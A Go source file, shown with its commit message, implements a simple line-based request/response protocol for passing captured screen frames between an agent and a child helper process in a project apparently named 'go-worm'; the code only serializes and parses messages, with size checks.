kato
a3c78820ed
- Move screen capture to child process - Isolate GDI/BitBlt crashes from agent - Use -capture flag for internal helper mode - Add protocol for frame request/response - Make monitor enumeration thread-safe
99 lines
2.5 KiB
Go
99 lines
2.5 KiB
Go
package capture
|
|
|
|
import (
|
|
"bufio"
|
|
"errors"
|
|
"fmt"
|
|
"io"
|
|
"strconv"
|
|
"strings"
|
|
|
|
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
|
"tea.chunkbyte.com/kato/go-worm/lib/models"
|
|
)
|
|
|
|
var ErrMonitorNotFound = errors.New("monitor not found")
|
|
|
|
func writeRequest(w io.Writer, monitor int, format string, quality int) error {
|
|
_, err := fmt.Fprintf(w, "C %d %s %d\n", monitor, format, quality)
|
|
return err
|
|
}
|
|
|
|
func readRequest(r *bufio.Reader) (monitor int, format string, quality int, err error) {
|
|
line, err := r.ReadString('\n')
|
|
if err != nil {
|
|
return 0, "", 0, err
|
|
}
|
|
fields := strings.Fields(strings.TrimSpace(line))
|
|
if len(fields) != 4 || fields[0] != "C" {
|
|
return 0, "", 0, errors.New("bad capture request")
|
|
}
|
|
monitor, err = strconv.Atoi(fields[1])
|
|
if err != nil {
|
|
return 0, "", 0, err
|
|
}
|
|
format = fields[2]
|
|
quality, err = strconv.Atoi(fields[3])
|
|
if err != nil {
|
|
return 0, "", 0, err
|
|
}
|
|
return monitor, format, quality, nil
|
|
}
|
|
|
|
func writeFrame(w io.Writer, img models.CapturedImage) error {
|
|
if len(img.Data) > config.MaxCaptureBytes {
|
|
return errors.New("frame too large")
|
|
}
|
|
if _, err := fmt.Fprintf(w, "O %s %d %d %d %d %d\n",
|
|
strings.ReplaceAll(img.ContentType, " ", ""),
|
|
img.Left, img.Top, img.Width, img.Height, len(img.Data)); err != nil {
|
|
return err
|
|
}
|
|
_, err := w.Write(img.Data)
|
|
return err
|
|
}
|
|
|
|
func writeErr(w io.Writer, msg string) error {
|
|
msg = strings.ReplaceAll(strings.TrimSpace(msg), "\n", " ")
|
|
if msg == "" {
|
|
msg = "capture failed"
|
|
}
|
|
_, err := fmt.Fprintf(w, "E %s\n", msg)
|
|
return err
|
|
}
|
|
|
|
func readResponse(r *bufio.Reader) (models.CapturedImage, error) {
|
|
line, err := r.ReadString('\n')
|
|
if err != nil {
|
|
return models.CapturedImage{}, err
|
|
}
|
|
line = strings.TrimRight(line, "\r\n")
|
|
if strings.HasPrefix(line, "E ") {
|
|
return models.CapturedImage{}, errors.New(strings.TrimSpace(line[2:]))
|
|
}
|
|
fields := strings.Fields(line)
|
|
if len(fields) != 7 || fields[0] != "O" {
|
|
return models.CapturedImage{}, errors.New("bad capture response")
|
|
}
|
|
left, _ := strconv.Atoi(fields[2])
|
|
top, _ := strconv.Atoi(fields[3])
|
|
width, _ := strconv.Atoi(fields[4])
|
|
height, _ := strconv.Atoi(fields[5])
|
|
n, err := strconv.Atoi(fields[6])
|
|
if err != nil || n < 0 || n > config.MaxCaptureBytes {
|
|
return models.CapturedImage{}, errors.New("bad capture size")
|
|
}
|
|
data := make([]byte, n)
|
|
if _, err := io.ReadFull(r, data); err != nil {
|
|
return models.CapturedImage{}, err
|
|
}
|
|
return models.CapturedImage{
|
|
ContentType: fields[1],
|
|
Data: data,
|
|
Left: left,
|
|
Top: top,
|
|
Width: width,
|
|
Height: height,
|
|
}, nil
|
|
}
|